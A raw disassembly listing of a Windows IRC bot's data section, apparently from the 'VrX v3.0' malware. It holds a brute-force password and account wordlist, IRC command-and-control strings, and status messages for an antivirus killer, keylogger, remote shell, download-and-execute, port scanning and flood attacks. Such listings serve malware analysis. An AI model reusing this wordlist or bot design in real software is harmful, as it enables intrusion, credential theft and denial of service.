aBitch		db 'bitch',0            ; DATA XREF: ___:0042941Co
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:00429418o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: ___:00429414o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00429410o
		align 10h
aTechnical	db 'technical',0        ; DATA XREF: ___:0042940Co
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:00429408o
		align 4
aLogin		db 'login',0            ; DATA XREF: ___:00429404o
		align 10h
aMary		db 'mary',0             ; DATA XREF: ___:00429400o
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:004293FCo
		align 10h
aKate		db 'kate',0             ; DATA XREF: ___:004293F4o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293F0o
		align 10h
aEric		db 'eric',0             ; DATA XREF: ___:004293ECo
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293E8o
		align 10h
aIan		db 'ian',0              ; DATA XREF: ___:004293E4o
aNeil		db 'neil',0             ; DATA XREF: ___:004293E0o
		align 4
aLee		db 'lee',0              ; DATA XREF: ___:004293DCo
aBrian		db 'brian',0            ; DATA XREF: ___:004293D8o
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:004293D0o
		align 10h
aSue		db 'sue',0              ; DATA XREF: ___:004293CCo
aSam		db 'sam',0              ; DATA XREF: ___:004293C8o
aLuke		db 'luke',0             ; DATA XREF: ___:004293C4o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: ___:004293C0o
					; ___:004293D4o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:004293BCo
		align 10h
aMike		db 'mike',0             ; DATA XREF: ___:004293B8o
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004293B4o
		align 10h
aFred		db 'fred',0             ; DATA XREF: ___:004293B0o
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:004293ACo
aJen		db 'jen',0              ; DATA XREF: ___:004293A8o
aBob		db 'bob',0              ; DATA XREF: ___:004293A4o
					; ___:004293F8o
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A0o
aZxc		db 'zxc',0              ; DATA XREF: ___:0042939Co
aAsd		db 'asd',0              ; DATA XREF: ___:00429398o
aQaz		db 'qaz',0              ; DATA XREF: ___:00429394o
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429390o
aWinnt		db 'winnt',0            ; DATA XREF: ___:0042938Co
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:00429388o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429384o
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429380o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:0042937Co
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:00429378o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429374o
aOem		db 'oem',0              ; DATA XREF: ___:00429370o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+45CFo
					; ___:0042936Co
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:00429368o
		align 10h
aHome		db 'home',0             ; DATA XREF: ___:00429364o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429360o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:0042935Co
		align 10h
aInternet	db 'internet',0         ; DATA XREF: ___:00429358o
					; ___:004294B4o
		align 4
aWww		db 'www',0              ; DATA XREF: ___:00429354o
aWeb		db 'web',0              ; DATA XREF: sub_401ACD+7283o
					; ___:00429350o
aOutlook	db 'outlook',0          ; DATA XREF: ___:0042934Co
aMail		db 'mail',0             ; DATA XREF: ___:00429348o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429344o
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:00429340o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Bo
					; ___:00429338o
		align 4
aSystem		db 'system',0           ; DATA XREF: ___:00429334o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:0042932Co
		align 10h
aLinux		db 'linux',0            ; DATA XREF: ___:00429328o
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00429324o
		align 10h
aDemo		db 'demo',0             ; DATA XREF: ___:00429320o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:0042931Co
		align 10h
aTest		db 'test',0             ; DATA XREF: ___:00429314o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:00429310o
		align 10h
a2003		db '2003',0             ; DATA XREF: sub_41AF8F+BAo
					; ___:0042930Co
		align 4
a2002		db '2002',0             ; DATA XREF: ___:00429308o
		align 10h
a2001		db '2001',0             ; DATA XREF: ___:00429304o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:00429300o
		align 10h
a1234567890	db '1234567890',0       ; DATA XREF: ___:004292FCo
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:004292F8o
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292F4o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F0o
a123456		db '123456',0           ; DATA XREF: ___:004292ECo
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292E8o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:004292E4o
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E0o
a12		db '12',0               ; DATA XREF: ___:004292DCo
		align 4
a1:					; DATA XREF: ___:0040AFC7o
					; ___:004292D8o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292D4o
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D0o
aPass		db 'pass',0             ; DATA XREF: ___:004292CCo
		align 10h
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292C8o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292C4o
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C0o
		align 10h
aPassword1	db 'password1',0        ; DATA XREF: ___:004292BCo
		align 4
aAdm		db 'adm',0              ; DATA XREF: ___:004292B8o
aDb2		db 'db2',0              ; DATA XREF: ___:00429460o
aOracle		db 'oracle',0           ; DATA XREF: ___:00429478o
		align 4
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429440o
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:00429330o
aGuest_0	db 'guest',0            ; DATA XREF: ___:00429318o
		align 4
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C0o
aStudent	db 'student',0          ; DATA XREF: ___:004294BCo
aOwner		db 'owner',0
		align 10h
aComputer	db 'computer',0
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:0042933Co
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294C4o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:004292B4o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B0o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292ACo
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292A8o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292A4o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A0o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42915Co
dword_4299D4	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A08	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A34	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A74	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A98	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429AB4	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC0	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
dword_429AC8	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_4100B4+EAo ...
unk_429AD0	db    3			; DATA XREF: sub_4017ED+F2o
a81VrxConnected	db '8,1-VrX- Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
		align 4
unk_429B34	db    3			; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg	db '8,1-VrX- User: %s logged in.',0
		align 4
unk_429B54	db    3			; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA	db '8,1-VrX- Password accepted.',0
		align 4
unk_429B74	db    3			; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos	db '8,1-VrX- *Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C52o
		align 4
unk_429BC8	db    3			; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas	db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C02o
					; sub_401ACD+7C69o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7BEBo
		align 4
asc_429C48:				; DATA XREF: sub_401ACD+7BBBo
		unicode	0, <~>,0
unk_429C4C	db    3			; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic	db '8,1-VrX- Random nick change: %s',0
		align 10h
unk_429C70	db    3			; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect	db '8,1-VrX- Reconnecting in %s seconds',0
		align 4
unk_429C98	db    3			; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0	db '8,1-VrX- Reconnecting in %s ms',0
unk_429CB8	db    3			; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang	db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CDC	db    3			; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha	db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429CFC	db    3			; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha	db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D1C	db    3			; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_	db '8,1-VrX- IRC Raw: %s.',0
		align 4
unk_429D34	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40948Ao
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429D60	db  2Dh	; -		; DATA XREF: sub_401ACD+79B6o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D84	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40943Do
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DAC	db  2Dh	; -		; DATA XREF: sub_401ACD+7966o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+794Co
unk_429DD8	db    3			; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha	db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429DFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409300o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E20	db  2Dh	; -		; DATA XREF: sub_401ACD+7829o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 10h
unk_429E40	db    3			; DATA XREF: sub_401ACD+7809o
a81VrxServerCha	db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4092BDo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429E8C	db  2Dh	; -		; DATA XREF: sub_401ACD+77C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429EAC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409255o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EDC	db  2Dh	; -		; DATA XREF: sub_401ACD+777Eo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429EFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4091F5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F2C	db  2Dh	; -		; DATA XREF: sub_401ACD+7721o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
dword_429F50	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+76DFo
		dd 27732527h, 2Eh
unk_429F6C	db  2Dh	; -		; DATA XREF: sub_401ACD+7667o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F90	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+75ECo
		dd 0
unk_429FA8	db  2Dh	; -		; DATA XREF: sub_401ACD+75BFo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_429FE8	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+7550o
		dd 2Eh
dword_42A000	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_408F9Do
		dd 746E6573h, 2Eh
unk_42A01C	db  2Dh	; -		; DATA XREF: sub_401ACD+74C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A03C	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+748Fo
		dd 732520h
unk_42A054	db  2Dh	; -		; DATA XREF: sub_401ACD+7481o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
asc_42A080:				; DATA XREF: sub_401ACD+7469o
					; sub_4100B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A084	db    3			; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF	db '8,1-VrX- Read file failed: %s',0
		align 4
unk_42A0A4	db    3			; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC	db '8,1-VrX- Read file complete: %s',0
		align 4
aUnknowModeType	db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
		align 4
aFailedToStartL	db 'Failed to start logging thread, error: <%d>.',0
					; DATA XREF: sub_401ACD+73B4o
		align 4
aNormalKeyLogge	db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
		align 4
aNormal_0	db 'normal',0           ; DATA XREF: sub_401ACD+72EDo
		align 10h
aKeylogerAlread	db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
		align 4
aVrxV3_0SitesKe	db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
					; sub_401ACD+72E5o
		align 10h
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_401ACD+7231o
		align 4
unk_42A178	db    3			; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_	db '8,1-VrX- Gethost: %s.',0
		align 10h
unk_42A190	db    3			; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE	db '8,1-VrX- Unable to extract Gethost command.',0
		align 10h
unk_42A1C0	db    3			; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC	db '8,1-VrX- Gethost: %s, Command: %s',0
		align 4
unk_42A1E4	db    3			; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde	db '8,1-VrX- Alias added: %s.',0
		align 10h
unk_42A200	db    3			; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS	db '8,1-VrX- Privmsg: %s: %s.',0
		align 4
unk_42A21C	db    3			; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_	db '8,1-VrX- Action: %s: %s.',0
		align 4
dword_42A238	dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
					; DATA XREF: sub_401ACD+7028o
dword_42A24C	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
					; sub_401ACD+7A49o
unk_42A258	db    3			; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang	db '8,1-VrX- Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+6FB6o
		align 10h
dword_42A280	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+6F8Do
		dd 25203A29h, 73h
dword_42A29C	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+6F1Fo
		dd 203A2973h, 7325h
dword_42A2B8	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6EC7o
dword_42A2C0	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6E95o
		dd 203A2973h, 7325h
dword_42A2DC	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2E8	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6DEBo
					; sub_401ACD+6E71o ...
dword_42A2F0	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6DB6o
dword_42A2F8	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D79o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A334	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D0Eo
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
unk_42A360	db  2Dh	; -		; DATA XREF: sub_401ACD+6CA8o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+6C39o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D0	db    3			; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot	db '8,1-VrX- Repeat not allowed in command line: %s',0
		align 4
unk_42A404	db    3			; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS	db '8,1-VrX- Repeat: %s',0
		align 4
dword_42A41C	dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
					; DATA XREF: sub_401ACD:loc_408591o
dword_42A430	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6A84o
					; sub_401ACD+6B37o ...
dword_42A440	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A488	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A19o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A4C4	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+69AAo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+6904o
		align 4
dword_42A4FC	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+68A2o
		dd 7325203Ah, 0
unk_42A518	db  2Dh	; -		; DATA XREF: sub_401ACD+6897o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A53C	db  2Dh	; -		; DATA XREF: sub_401ACD+67FDo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A578	db  2Dh	; -		; DATA XREF: sub_401ACD+6787o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A5A8	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40818Do
					; sub_401ACD:loc_4091C7o
unk_42A5B4	db  2Dh	; -		; DATA XREF: sub_401ACD+66ABo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A5D8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408156o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_42A610	db  2Dh	; -		; DATA XREF: sub_401ACD+667Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A648	db  2Dh	; -		; DATA XREF: sub_401ACD+660Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A674	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+658Co
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
dword_42A6B0	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+651Do
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
unk_42A6E0	db  2Dh	; -		; DATA XREF: sub_401ACD+64A4o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A718	db  2Dh	; -		; DATA XREF: sub_401ACD+6435o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A748	db  2Dh	; -		; DATA XREF: sub_401ACD+63ABo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A780	db  2Dh	; -		; DATA XREF: sub_401ACD+633Co
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A7B0	db  2Dh	; -		; DATA XREF: sub_401ACD+62C3o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6254o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A824	db  2Dh	; -		; DATA XREF: sub_401ACD+61DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42A864	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+616Co
aDownloadingUrl	db '- Downloading URL: %s to: %s.',0
		align 10h
unk_42A890	db  2Dh	; -		; DATA XREF: sub_401ACD+609Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A8D4	db  2Dh	; -		; DATA XREF: sub_401ACD+602Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A910	db    3			; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan	db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5E85o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5DB0o
		align 4
dword_42A968	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5D22o
					; sub_401ACD+7074o
unk_42A974	db  2Dh	; -		; DATA XREF: sub_401ACD+5CC0o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42A9B0	db  2Dh	; -		; DATA XREF: sub_401ACD+5C51o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 10h
unk_42AA00	db    3			; DATA XREF: sub_401ACD+5BBAo
					; sub_401ACD+5FA0o
a81Sc@nFailedTo	db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AA38	db    3			; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca	db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
		db 's for %d minutes using %d threads.',0
		align 10h
unk_42AAA0	db    3			; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0	db '8,1-SC@N- Failed to start scan, no IP specified.',0
		align 4
unk_42AAD4	db    3			; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1	db '8,1-SC@N- Failed to start scan, port is invalid.',0
		align 4
unk_42AB08	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_407320o
